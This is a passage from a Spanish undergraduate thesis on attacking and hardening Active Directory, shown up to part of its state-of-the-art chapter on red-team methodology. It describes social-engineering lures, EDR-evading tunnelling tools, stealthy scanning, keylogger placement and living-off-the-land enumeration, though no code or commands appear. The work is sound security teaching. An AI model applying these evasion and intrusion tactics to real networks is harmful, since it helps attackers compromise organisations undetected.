Escuela

Politécnica
Superior

Análisis de técnicas de
ataque en Active
Directory e
implementación de
contramedidas de
endurecimiento
Grado en Ingeniería Informática

Trabajo Fin de Grado

Autor:
Armando Mourisco Fernández
Tutor:
Juan Antonio Gil Martínez-Abarca

Mayo 2025
Análisis de técnicas de ataque en Active
Directory e implementación de
contramedidas de endurecimiento

Autor
Armando Mourisco Fernández

Tutor
Juan Antonio Gil Martínez-Abarca
Tecnología informática y computación

Grado en Ingeniería Informática

Escuela
Politécnica
Superior

ALICANTE, Mayo 2025

Preámbulo
La motivación para realizar este TFG, surge del creciente interés de los distintos actores de
la ciberseguridad en los entornos de Active Directory. Estos entornos son de alto valor para
cibercriminales y actores de estado, porque centralizan la información de una cierta organi-
zación. La intrusión de estos entornos suele permitir a estos actores conseguir sus objetivos,
ya sean económicos o geopolíticos.

A nivel personal, este proyecto responde al deseo de conocer más en profundidad estos
sistemas e infraestructuras, abordando el problema desde la perspectiva del atacante y la del
defensor.

Como objetivos generales, este trabajo pretende diseñar un laboratorio de pruebas Active
Directory, realizar una simulación de adversario siguiendo metodologías y procedimiento ac-
tuales, e implementar contramedidas de endurecimiento para mitigar los ataques previamente
realizados. Con ello, se intentará aportar una visión teórico-práctica sobre la ciberseguridad
en los sistemas y redes Windows corporativos, contribuyendo al desarrollo de competencias
profesionales en este campo de constante evolución y cambio.
Abstract
The purpose of this project arises from the growing interest of different cybersecurity actors
in Active Directory environments. These environments are of high value for cybercriminals
and state actors, because they centralise the information of a certain organisation. Intrusion
of these environments often allows these actors to achieve their goals, be they economic or
geopolitical.

On a personal level, this project responds to the desire of gaining a deeper understanding
of these systems and infrastructures, approaching the problem from the perspective of both
the attacker and the defender.

As general objectives, this work aims to design an Active Directory test lab, perform
an adversary simulation following current methodologies and procedures, and implement
hardening countermeasures to mitigate previously performed attacks. The aim is to provide a
theoretical and practical vision of cybersecurity in corporate Windows systems and networks,
contributing to the development of professional skills in this constantly evolving and changing
field.
 A mi padre Ricardo y a mi abuela Ángeles,
por su apoyo incondicional y ejemplo constante de esfuerzo.
A lot of hacking is playing with other people, you know,
getting them to do strange things.

Steve Wozniak
Índice general
1 Introducción 1

2 Estado del arte 3

2.1 Simulaciones de adversario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2.1.1 Reconocimiento externo . . . . . . . . . . . . . . . . . . . . . . . . . . 3
[Link] Reconocimiento pasivo . . . . . . . . . . . . . . . . . . . . . 4
[Link] Reconocimiento activo . . . . . . . . . . . . . . . . . . . . . . 4
2.1.2 Intrusión inicial . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.1.3 Reconocimiento interno . . . . . . . . . . . . . . . . . . . . . . . . . . 6
[Link] Reconocimiento del host . . . . . . . . . . . . . . . . . . . . 7
[Link] Reconocimiento de la red . . . . . . . . . . . . . . . . . . . . 7
2.1.4 Elevación de privilegios . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.1.5 Persistencia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.1.6 Movimiento lateral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.2 Seguridad operacional (OPSEC) . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.2.1 OPSEC para equipos Red Team in situ . . . . . . . . . . . . . . . . . 11
2.2.2 OPSEC para equipos Red Team en remoto . . . . . . . . . . . . . . . 11
[Link] Hasta la intrusión inicial . . . . . . . . . . . . . . . . . . . . 11
[Link] Tras el acceso a la red interna . . . . . . . . . . . . . . . . . 12
2.3 Servicios de dominio de directorio activo (AD DS) . . . . . . . . . . . . . . . 13
2.3.1 Objetos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.3.2 Políticas de grupo (GPO) . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.3.3 Protocolos de autenticación . . . . . . . . . . . . . . . . . . . . . . . . 15
[Link] New Technology LAN Manager (NTLM) . . . . . . . . . . . 15
[Link] Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.4 Normativas y ciberdefensa internacional . . . . . . . . . . . . . . . . . . . . . 17
2.4.1 Marco normativo español . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.4.2 Ciberdefensa en el ámbito militar . . . . . . . . . . . . . . . . . . . . . 18
2.5 Estado de la defensa en entornos corporativos . . . . . . . . . . . . . . . . . . 19
2.5.1 Sistemas SIEM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.5.2 Soluciones de detección y respuesta . . . . . . . . . . . . . . . . . . . . 21
[Link] Endpoint detection and response (EDR) . . . . . . . . . . . . 21
[Link] Network detection and response (NDR) . . . . . . . . . . . . 22
[Link] Extended detection and response (XDR) . . . . . . . . . . . 22
[Link] Managed detection and response (MDR) . . . . . . . . . . . 22
2.5.3 Estrategias de detección . . . . . . . . . . . . . . . . . . . . . . . . . . 23
[Link] Detección por firma . . . . . . . . . . . . . . . . . . . . . . . 23
[Link] Detección heurística y comportamental . . . . . . . . . . . . 24

xiii
xiv Índice general

3 Metodología 27
3.1 Tipo de investigación . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3.2 Planificación del proyecto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
3.3 Infraestructura del AD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
3.3.1 Árbol LDAP del directorio . . . . . . . . . . . . . . . . . . . . . . . . 31
3.3.2 Despliegue del laboratorio . . . . . . . . . . . . . . . . . . . . . . . . . 31
[Link] Configuración inicial . . . . . . . . . . . . . . . . . . . . . . . 32
[Link] Dominio [Link] . . . . . . . . . . . . . . . . . . . . 34
[Link] Dominio [Link] . . . . . . . . . . . . . . . . 34
[Link] Dominio [Link] . . . . . . . . . . . . . . 36
[Link] Estación de trabajo . . . . . . . . . . . . . . . . . . . . . . . 36
3.4 Alcance del estudio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.4.1 Suposiciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.5 Población y muestra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.6 Tácticas utilizadas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.7 Herramientas utilizadas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.7.1 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.7.2 NetCat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.7.3 NetExec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.7.4 Responder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.7.5 Hashcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.7.6 Impacket . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.7.7 Evil-WinRM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.7.8 Chisel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.7.9 BloodHound . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.7.10 Mimikatz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

4 Desarrollo 43
4.1 Ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4.1.1 Reconcimiento inicial de la estación de trabajo WS01 . . . . . . . . . . 43
4.1.2 Envenenamiento de protocolos de red . . . . . . . . . . . . . . . . . . 44
[Link] Ataque de diccionario contra el hash NetNTLMv2 . . . . . . 45
4.1.3 Ataque NTLM Relay . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
[Link] Acceso remoto a WS01 mediante Pass-The-Hash . . . . . . . . 48
4.1.4 Despliegue de persistencia en WS01 mediante registro . . . . . . . . . . 48
4.1.5 Host WS01 como pivote para acceso a la red del dominio madrid . . . 49
4.1.6 Kerberoasting contra el controlador de dominio de madrid . . . . . . . 52
[Link] Ataque de diccionario contra el ticket granting ticket (TGT) 52
4.1.7 Abuso de privilegios del grupo Operadores de copia de seguridad . . . 53
[Link] Acceso remoto a DC01 mediante Pass-The-Hash . . . . . . . . 54
4.1.8 Reconocimiento interno desde el controlador de dominio DC01 . . . . . 55
4.1.9 Ataque DCSync a DC03 con las credenciales de DC01 . . . . . . . . . . 57
4.1.10 Persistencia en el dominio [Link] mediante Golden Ticket . . 58
4.1.11 Pass-The-Ticket para acceso al DC de [Link] . . . . . . . . . 59
Índice general xv

4.2 Defensa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
4.2.1 Prevención . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
[Link] Endurecimiento de los controladores de dominio . . . . . . . 60
[Link] Principio de mínimos privilegios . . . . . . . . . . . . . . . . 62
[Link] Autenticación y credenciales . . . . . . . . . . . . . . . . . . 64
[Link] Relaciones de confianza . . . . . . . . . . . . . . . . . . . . . 65
4.2.2 Detección . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
[Link] Monitorización de eventos . . . . . . . . . . . . . . . . . . . . 66
4.2.3 Respuesta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
[Link] Contención y erradicación . . . . . . . . . . . . . . . . . . . . 69
[Link] Recuperación . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

5 Conclusiones 71
5.1 Futuras líneas de investigación . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Bibliografía 73

Acrónimos y Abreviaturas 77
Índice de figuras
2.1 Proceso de autenticación NTLM en un entorno de dominio . . . . . . . . . . 16

3.1 Infraestructura del entorno de pruebas de Directorio Activo . . . . . . . . . . 30

3.2 Árbol LDAP del dominio [Link] . . . . . . . . . . . . . . . 31
3.3 Árbol LDAP del dominio [Link] . . . . . . . . . . . . . . 31

4.1 Escaneo de los puertos TCP más comunes sobre la estación de trabajo WS01 43
4.2 Listado de recursos SMB compartidos por la estación de trabajo WS01 . . . . 43
4.3 Subida de fichero URL malicioso al directorio compartido por SMB . . . . . . 44
4.4 Captura del hash NetNTLMv2 del usuario Adminstrador de dominio . . . . . 45
4.5 Cracking hash NetNTLMv2 con la herramienta hashcat . . . . . . . . . . . . 45
4.6 Cracking hash NetNTLMv2 con la herramienta hashcat . . . . . . . . . . . . 46
4.7 Intercambio de mensajes en el ataque NTLM relay . . . . . . . . . . . . . . . 46
4.8 Ejecución de la herramienta ntlmrelayx . . . . . . . . . . . . . . . . . . . . . 47
4.9 Obtención de hashes NTLM mediante el ataque NTLM relay . . . . . . . . . 48
4.10 Conexión remota a la estación de trabajo usando Evil-WinRM . . . . . . . . . 48
4.11 Ejecución del script de ofuscación Chimera . . . . . . . . . . . . . . . . . . . 49
4.12 Transferencia del script PowerShell ofuscado con capacidades de establecer
conexión inversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
4.13 Configuración de los registros de WS01 para establecer persistencia . . . . . . 50
4.14 Captura de la shell inversa con la herramienta NetCat . . . . . . . . . . . . . 50
4.15 Transferencia via HTTP de la herramienta chisel desde la máquina atacante . 51
4.16 Servidor SOCKS en nuestra máquina atacante para el túnel inverso . . . . . . 51
4.17 Cliente Chisel en la máquina pivote para conectarnos al servidor SOCKS . . 52
4.18 Kerberoasting cuenta de usuario sqlservice con la herramienta NetExec . . 52
4.19 Cracking del TGT del usuario sqlservice mediante la herramienta Hashcat 53
4.20 Contraseña descifrada exitosamente a partir del TGT de sqlservice mediante
Hashcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
4.21 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
4.22 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
4.23 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
4.24 Túneles inversos estáticos desde WS01 para mapear puertos TCP/5985 y TC-
P/4445 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
4.25 Volcado del dominio [Link] con la herramienta ADExplorer 56
4.26 Conversión del volcado del AD a archivos JSON compatibles con BloodHound 56
4.27 Grafo de neo4j para escalar privilegios usando BloodHound . . . . . . . . . . 57
4.28 Ataque DCSync a [Link] para extraer hashes NTLM . . . . . . . . . 57
4.29 Ataque DCSync a [Link] para extraer hashes Kerberos . . . . . . . 58
4.30 Extracción del SID del dominio [Link] . . . . . . . . . . . . . . . . . 58

xvii
xviii Índice de figuras

4.31 Generación de golden ticket mediante la herramienta ticketer . . . . . . . . 59

4.32 Configuración de autenticación Kerberos en Linux . . . . . . . . . . . . . . . 59
4.33 Autenticación via Kerberos al servicio WinRM con el golden ticket falsificado 60
Índice de Códigos
2.1 Ejemplo fichero bashrc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3.1 Script de configuración del bosque en DC03 . . . . . . . . . . . . . . . . . . . 32

3.2 Configuración DNS de nuestros dominios . . . . . . . . . . . . . . . . . . . . . 32
3.3 Script de configuración del dominio [Link] en DC01 . . . . . . 33
3.4 Script de configuración del dominio [Link] en DC02 . . . . . . 33
3.5 Script de configuración del dominio [Link] . . . . . . . . . . . . . . . . 34
3.6 Creación de las unidades organizativas en [Link] . . . . . . . . 34
3.7 Creación de los usuarios en el dominio [Link] . . . . . . . . . . 35
3.8 Adición del usuario sqlservice al grupo Backup Operators . . . . . . . . . . . 35
3.9 Script de configuración del controlador de dominio DC01 . . . . . . . . . . . . 35
3.10 Creación de las unidades organizativas en [Link] . . . . . . . . 36
3.11 Permiso WriteDacl al domain admin de Madrid sobre el dominio de Alicante 36
3.12 Descarga de la suite SysInternals en la estación de trabajo . . . . . . . . . . . 36
3.13 Adición de la estación de trabajo al dominio [Link] . . . . . . 37
3.14 Creación del recurso compartido SMB en [Link] . . . . . . . . 37
3.15 Configuración de la estación de trabajo WS01 en el dominio de Madrid . . . . 37

4.1 Fichero URL malicioso que realiza una petición SMB al servidor atacante . . 44
4.2 Shell inversa desde WS01 mediante Invoke-PowerShellTcp . . . . . . . . . . 49
4.3 Medidas de seguridad en controladores de dominio . . . . . . . . . . . . . . . 61
4.4 Medidas de seguridad en mecanismos de autenticación . . . . . . . . . . . . . 65
4.5 Buenas medidas de seguridad para implementar relaciones de confianza seguras 66

xix
1 Introducción
En la era digital actual, caracterizada por una creciente dependencia de la información y
conectividad de los sistemas, la ciberseguridad es el eje que sostiene la continuidad y la esta-
bilidad de las la mayoría de organizaciones. En este contexto, Active Directory (AD) juega
un papel clave, ya que permite gestionar la identidad, la autenticación y la autorización en
muchas intranets de organizaciones tanto del sector público como privado, lo que lo hace uno
de los principales objetivos de los adversarios.

Debido a que las medidas de seguridad se han intensificado en todo tipo de entornos, los
ataques dirigidos se han vuelto más comunes, más complejos y permiten a los atacantes al-
canzar un mayor control sobre la infraestructura objetivo. En el caso de Active Directory, las
distintas técnicas de ataque actuales permiten a los adversarios escalar privilegios, desplegar
persistencias y moverse lateralmente por el entorno hasta, en última instancia, comprometer
totalmente un dominio. Este tipo de intrusiones puede causar grandes perjuicios a la organi-
zación, incluida la pérdida de integridad y confidencialidad de la información, interrupciones
en la operativa de negocio e impacto en la reputación de la organización. Como resultado,
proteger y endurecer estos entornos se presenta como un desafío constante para los profesio-
nales de la seguridad.

En este escenario, las simulaciones de adversarios se presentan como buenas prácticas para
comprender y predecir las tácticas, técnicas y procedimientos (TTP) utilizados por atacantes
reales. Mediante el despliegue y configuración de laboratorios virtuales que repliquen entor-
nos de Active Directory, se pueden ejecutar ataques controlados y monitorear su efectividad
sin poner en riesgo el sistema de producción. Este enfoque permite que las debilidades iden-
tifiquen y validen la efectividad de las medidas y mejoren activamente la seguridad.

Por un lado, durante la fase ofensiva del proyecto, ejecutaremos algunas de las técnicas de
ataque más relevantes para Active Directory en un entorno aislado y controlado. Por otro
lado, proveeremos de contramedidas de endurecimiento, entre las que se incluirán scripts
PowerShell, configuraciones recomendadas, buenas prácticas y datos para alimentar sistemas
de defensa. Estas contramedidas, ayudarán a prevenir, detectar y responder a todo incidente
que afecte a la seguridad del entorno. En resumen, el problema abordado en este estudio es
la necesidad urgente de fortalecer el entorno Active Directory contra las amenazas avanzadas
a través de la implementación de tácticas contrarias y medidas efectivas. El objetivo es hacer
una contribución práctica y actualizada a las mejoras continuas en la seguridad en entornos
empresariales que dependen de Active Directory.

1
2 Estado del arte

2.1 Simulaciones de adversario

Una simulación de adversario, también llamado ejercicio de Red Team o simulación de
amenazas (se utilizarán estos 3 términos indistintamente), es una prueba controlada para
comprometer organizaciones y proporcionar una evaluación de la capacidad de detección,
respuesta y recuperación de los Security Operations Center (SOC), también llamados equi-
pos Blue Team, del objetivo (National Institute of Standards and Technology (NIST), 2025).

Los términos Red y Blue Team tienen su origen en la industria de defensa norteamericana.
Durante la guerra fría, los Estados Unidos de América comenzaron a realizar ‘wargames’
(juegos de guerra) como un entrenamiento para un posible conflicto con la Unión Soviética.
Los equipos de Red Team eran el bloque soviético, y los equipos Blue Team las fuerzas aliadas.

Los equipos de Red Team se encargan de simular posibles conductas de un adversario, lo

que permite conocer sus intenciones, percepciones y procesos de toma de decisiones. Mediante
estos ejercicios, se exploran las acciones alternativas y posibles respuestas subjetivas de un
posible enemigo ante ciertos estímulos o situaciones específicas. Estas simulaciones de adver-
sario aportan una versión alternativa que mejora la eficacia operativa (U.S. Department of
Defense, 2016).

En cambio, los equipos de Blue Team están consituidos por profesionales en seguridad
informática que se encargan de monitorizar y defender los sistemas y redes de la organi-
zación. Es importante que estos dos equipos sean independientes y no compartan nada de
información hasta el final del ejercicio. Es mandatorio que los equipos de Blue Team no sean
informados de que un equipo de Red Team externo va a realizar una simulación de amenazas
contra su organización.

El proceso de ataque se divide en 6 fases: reconocimiento externo, intrusión inicial, recono-

cimiento interno, elevación de privilegios, persistencia y movimiento lateral. Como podemos
observar, parte de este proceso es cíclico, ya que una vez comprometido ciertos equipos, de-
beremos volver a comenzar parcialmente el proceso hasta comprometer los administradores
de dominio que nos darán el control total sobre la infraestructura objetivo.

2.1.1 Reconocimiento externo

Recopilar información sobre el entorno objetivo es vital a la hora de realizar una simulación
de adversario. Toda organización tiene sus defensas, tanto digitales como físicas, y el estado y
configuración de estas nos dictarán como pueden ser eludidas o superadas (InfoSec Institute,

3
4 Estado del arte

2018).

Deberemos recopilar tanta información sobre el objetivo como nos sea posible, lo que in-
cluye activos digitales, físicos y humanos, lo que nos permitirá determinar su superficie de
ataque. Este tipo de reconocimiento solo suele ocurrir al inicio de la simulación de adversa-
rio. En él, se investigan todos los elementos expuestos en internet, ya que esta información
será imprescindible a la hora de encontrar un vector de acceso inicial en la siguiente fase del
proceso.

Aunque la mayoría de esfuerzos se dedican a encontrar activos digitales, no hay que ol-
vidarse de los activos físicos. Herramientas libremente accesibles pueden ser muy útiles en
este punto: el recurso [Link] para encontrar puntos de acceso WiFi, el pro-
pio Google Maps nos puede proporcionar información sobre la seguridad y la estructura de
oficinas, rutinas de los empleados, sistemas de vigilancia como cámaras, o posibles sistemas
de control de acceso como sistemas biométricos, tecnologías Radio Frequency Identification
(RFID), códigos de acceso,...

Considerando la interacción con el objetivo como taxonomía, este reconocimiento puede

dividerse en:

[Link] Reconocimiento pasivo

Técnicas y métodos que evitan tener interacción directa con nuestro objetivo y que nos per-
miten obtener información valiosa sobre la organización. La mayoría de ellas están enfocadas
a la identificación de activos digitales. Normalmente, las técnicas de reconocimiento pasivo
utilizan inteligencia de fuentes abiertas (Open Source Intelligence (OSINT)) e información
disponible públicamente para perfilar distintos aspectos del objetivo. Por ejemplo, si tene-
mos un dominio podríamos consultar sus certificados Transport Layer Security (TLS) para
conseguir nuevos subdominios y por tanto, nuevos posibles puntos de acceso. Google Dorking
es otra técnica ampliamente utilizada. Consiste en aplicar la búsqueda avanzada de Google
para conseguir encontrar en Internet información concreta y filtrarla utilizando operadores
(conocidos como ‘dorks’).

Sin embargo, esta recopilación de información no está limitada al descubrimiento de activos

digitales. La identificación de personal del objetivo es un buen ejemplo de descubrimiento de
activos humanos. Utilizando fuentes abiertas como LinkedIn o GitHub, entre otros, podemos
recopilar información importante sobre nuestro objetivo. Como veremos más adelante, el uso
de esta información puede constituir los cimientos de nuestra intrusión inicial, con técnicas
como la ingeniería social o el uso de ‘insiders’.

[Link] Reconocimiento activo

Todos los métodos y técnicas que interactúan directamente con los sistemas o redes de la
organización objetivo para recopilar información pertenecen a este tipo de reconocimiento.
En cuanto a descubrimiento de activos digitales se trata, se utilizan técnicas como escaneo de
redes y puertos, ‘banner grabbing’ para determinar el software y demás información utilizado
2.1. Simulaciones de adversario 5

por cierto servicio, o ‘footprinting’ a servidores web, Domain Name System (DNS), Simple
Mail Transfer Protocol (SMTP),... entre otros. No todas las acciones realizadas en este punto
tienen un componente técnico. Por ejemplo, el simple hecho de buscar en los deshechos de
nuestro objetivo puede implicar encontrar información sensible en documentos deshechados
que pueden contener credenciales de acceso.

Aunque tengamos que interactuar con la organización, nuestras acciones deben de tener
el mínimo impacto sobre este para minimizar las posibilidades de ser detectado. De todas
formas, el reconocimiento externo debe hacerse desde direcciones IP que no tengan la ninguna
relación con el que será nuestro servidor de comando y control una vez conseguida la intrusión.
Además, debemos utilizar tecnologías que nos permitan cambiar de direcciones IP de manera
fácil y rápida, como proxies y VPNs, para que en caso de ser detectados podemos seguir con el
reconocimiento sin mayor perjuicio. Estas cuestiones serán abordadas más exhaustivamente
en el apartado de seguridad operacional.

2.1.2 Intrusión inicial

En esta fase del proceso, el equipo de Red Team utiliza distintas técnicas, normalmente
identificadas en la fase de reconocimiento, para realizar la intrusión. A grandes rasgos, hay 2
formas de eludir las defensas de la organización y comprometer el equipo objetivo: explotando
vulnerabilidades software o utilizando ingeniería social.

En cuanto a explotación de vulnerabilidades software, la mayoría de organizaciones cons-

cientes de la ciberseguridad solo tienen expuestos servicios web. Hay cientos de vulnerabi-
lidades web y su estudio no es el próposito de este proyecto. La principal motivación a la
hora de explotar un servidor web suele ser conseguir Remote Command Execution (RCE)
en el sistema objetivo. Esto suele implicar buscar los servicios expuestos menos fortificados
tales como, endpoints en subdominios poco utilizados (y probablemente desactualizados) o
infiltrarse en una organización externa al objetivo pero que pueda mantener relaciones de
confianza con este. Como he dicho, las vulnerabilidades web son muy variadas, pero algunas
que nos pueden conceder este RCE que nos permita acceder al equipo de la víctima son: inyec-
ciones Structured Query Language (SQL) para explotar funcionalidades como xp_cmdshell
en MSSQL o escritura de ficheros en MySQL, deserialización insegura en Java o PHP o vul-
nerabilidades del lado del servidor, como Server-Side Request Forgery (SSRF) o Server-Side
Template Injection (SSTI).

Sin embargo, en el ámbito de la ciberseguridad, el eslabón más débil siempre van a ser
las personas. La ingeniería social se encarga de explotar las personas, es decir, manipularlas
para revelar información confidencial o realizar acciones que comprometan la seguridad de la
organización objetivo (Claranet, 2024). Como operadores de Red Team, no debemos utilizar
técnicas básicas como incluir Macros en documentos de Office o enviar nuestros payloads a
cientos de emails y esperar a que alguien caiga. Aunque aún pueden funcionar, se deben de
utilizar técnicas más sofisticadas con mayor interacción con las víctimas durante un mayor
período de tiempo. Técnicas más dirigidas como spear phishing o voice phishing son
cada vez más utilizadas por atacantes. Otro ámbito de la ingeniería social en el que hay que
incidir es la psicología humana. Formas de manipulación típicas incluyen (INCIBE, 2019):
6 Estado del arte

• Respeto a la autoridad: Este tipo de ataques se basa en ese respeto que tenemos a nuestros
responsables y autoridades como las Fuerzas y Cuerpos de Seguridad del Estado. Si alguien
se hace pasar por una autoridad, la víctima puede revelar información sensible de su
organización.

• Quid pro quo: Ofrecer algo valioso a las víctimas para intentar conseguir información
sensible o descargar nuestro software malicioso.

• Sentimiento de urgencia: Similar al quid pro quo pero en lugar de dar algo a cambio,
creamos sensación de urgencia para obligar a las víctimas a actuar sin pensar.

• Voluntad de ayudar: En entornos laborales, los trabajadores, cuentan con esta voluntad
de ayudar a los compañeros en todo lo posible.

• Cebo: Dejar un dispositivo físico (como un Universal Serial Bus (USB)) abandonado en un
lugar público y transitado por empleados de nuestra organización objetivo, que contenga
nuestro payload e infecte los sistemas de las víctimas que lo conecten.

También hay que pensar qué le es atractivo a nuestra víctima y puede hacerles realizar las
acciones necesarias para infectar sus equipos. Etiquetas en un USB o nombres de ficheros co-
mo “Fotos Novia Verano”, “Despidos 2025” o “Actualizaciones Nóminas” son ejemplos
bastante descriptivos.

En definitiva, lo que queremos conseguir es implantar un software que nos permita esta-
blecer una conexión con nuestro equipo para ejecutar comandos cómodamente en el equipo
objetivo. No basta con lanzarnos una conexión reversa a nuestro equipo de atacante, en texto
plano. Debemos encriptar nuestro tráfico y encapsularlo utilizando protocolos que no llamen
la atención de los Endpoint Detection and Response (EDR). Se suele encapsular usando el
protocolo Hypertext Transfer Protocol (HTTP) (usando herramientas como reGeorg), In-
ternet Control Message Protocol (ICMP) (con ptunnel-ng) si el firewall permite que salga
tráfico de este tipo, o DNS (utilizando herramientas como DNScat2).

2.1.3 Reconocimiento interno

Una vez infiltrada la organización objetivo (en la red interna o desmilitarizada1 ), nuestra
operativa debe continuar para comprometer por completo toda la infraestructura (esto im-
plica tener el control de los Domain Controller (DC)). Sin embargo, debemos ser mucho más
cautelosos para que los equipos no sean capaces de detectarnos.

Llegados a este punto deberíamos valorar si es posible implantar software de monitorización

de las acciones del usuario, tales como keyloggers o capturas de pantalla cada N segundos. La
operativa debe de ser muy exhaustiva para no perder ninguna ventaja que nos pueda ofrecer
el sistema en el que nos encontremos de cara a nuestra simulación de adversario. Por ello
ejecutaremos 2 tipos de reconocimiento:
1
Una red desmilitarizada (DMZ) es una red perimetral, que se sitúa entre la red interna e Internet, para
proteger la propia red interna contra tráfico no confiable (Fortinet, 2025a). En las DMZ se almacenan
servicios externos como DNS, FTP, SMTP, IMAP, VoIP, HTTP,...
2.1. Simulaciones de adversario 7

[Link] Reconocimiento del host

Debemos investigar el equipo vulnerado para encontrar posibles credenciales a otros equi-
pos o a servicios de la propia máquina que puedan sernos de utilidad para avanzar en nuestra
operación. Además debemos investigar conexiones ya establecidas de la máquina vulnerada,
monturas de Network File System (NFS), usuarios locales y de dominio, y todo software y
ficheros que puedan sernos de utilidad.

Este reconocimiento debemos realizarlo manualmente, tanto para encontrar la mayor canti-
dad de información interesante, como para no llamar la atención de los Antivirus (AV) o EDR.
Sin embargo, existen multitud de herramientas especializadas como [Link]
bitsadmin/wesng o [Link]

[Link] Reconocimiento de la red

El descubrimiento de otros hosts en el mismo segmento de red e identificación de equipos
críticos en la red será nuestro siguiente paso. Los escaneos de puertos de los equipos de la
red deben realizarse de forma sigilosa, ya que escanear los 65535 puertos llamaría la atención
de cualquier EDR. Basta con escanear los puertos donde están los servicios más comunes y
aplicando plantillas de tiempo (herramientas como nmap tienen algunas predefinidas) para
mantener un perfil bajo y no llamar la atención de los sistemas de detección.

En caso de haber conseguido unas credenciales de dominio, se debe realizar un volcado de

ese Active Directory para poder analizar toda la infraestructura. A grandes rasgos, son 3 los
elementos a enumerar:

• Objetos: Usuarios, grupos, equipos, sesiones, impresoras, shares, etc.

• Políticas del dominio (GPOs): Instalación de software, políticas de seguridad, cambios

de registro, preferencias del sistema, etc.

• Listas de control de acceso (ACLs): Todos los controles de acceso a los objetos ante-
riores y recursos (permisos de escritura, ejecución,...).

Para realizar el volcado podemos utilizar muchas herramientas especializadas como Po-
werView o SharpHound (de los desarrolladores de BloodHound). Sin embargo, la mayoría
de estas herramientas son muy agresivas y un EDR bien configurado tendrá reglas para de-
tectarlas. Por ello debemos utilizar, en la medida de lo posible, técnicas más sofisticadas y
sigilosas usando herramientas nativas ya presentes en el sistema. Estas tácticas son conocidas
como Living Off The Land (LOTL).

Por ejemplo, podríamos utilizar el editor ADExplorer de la suite SysInternals para realizar
una captura del directorio activo. Todos los binarios que pertenecen a la suite SysInternals
están firmados por Microsoft y no serán detectados como maliciosos. Una vez transferido
este snapshot a nuestro host, hay diversas herramientas (como [Link]
[Link]) para generar los ficheros necesarios por BloodHound a partir de
la captura del directorio activo.
8 Estado del arte

2.1.4 Elevación de privilegios

Esta táctica consiste en utilizar distintas técnicas con el fin de conseguir privilegios más
elevados en un sistema o red (MITRE ATT&CK, 2025c). Como operadores de Red Team,
usualmente nos veremos en la situación de haber conseguido acceso a una red con bajos
privilegios pero necesitamos de un mayor privilegio para seguir avanzando hacia el objetivo.
Algunos métodos comunes para lograr elevar nuestros privilegios incluyen: aprovechamiento
de debilidades del sistema, malas configuraciones y vulnerabilidades.

Como operadores de Red Team, debemos utilizar la información obtenida en la fase previa
para encontrar el camino más corto hasta el administrador de dominio. Una herramienta
ampliamente utilizada es BloodHound, que nos proporciona diversas formas de explotar per-
misos y configuraciones del directorio activo para elevar nuestro privilegio en el entorno.

Además de elevar privilegios en el entorno del directorio activo, habrá muchas ocasiones en
las que tendremos que elevarlos en un mismo sistema. Esto se realiza para conseguir acceso
total a la cuenta de Windows con el mayor privilegio en un sistema local, conocida como
NT AUTHORITY\SYSTEM.

2.1.5 Persistencia
La táctica de persistencia consiste en aplicar varias técnicas para mantener el acceso a un
sistema tras el reinicio de éste, cambio de credenciales y otras acciones que podrían cortarnos
el acceso (MITRE ATT&CK, 2025b). Estas técnicas pueden solaparse con las de elevación de
privilegios, ya que explotan características del sistema operativo que permiten a un adversa-
rio crear persistencias en el sistema para ejecutar tareas en un contexto de privilegios elevados.

Aunque nuestra operación debe continuar haciendo uso del vector de acceso inicial, debe-
mos desplegar puertas traseras para poder acceder remotamente al sistema interno en caso
de que se haya resuelto la vulnerabilidad que nos dió el acceso inicial. Sin embargo, el des-
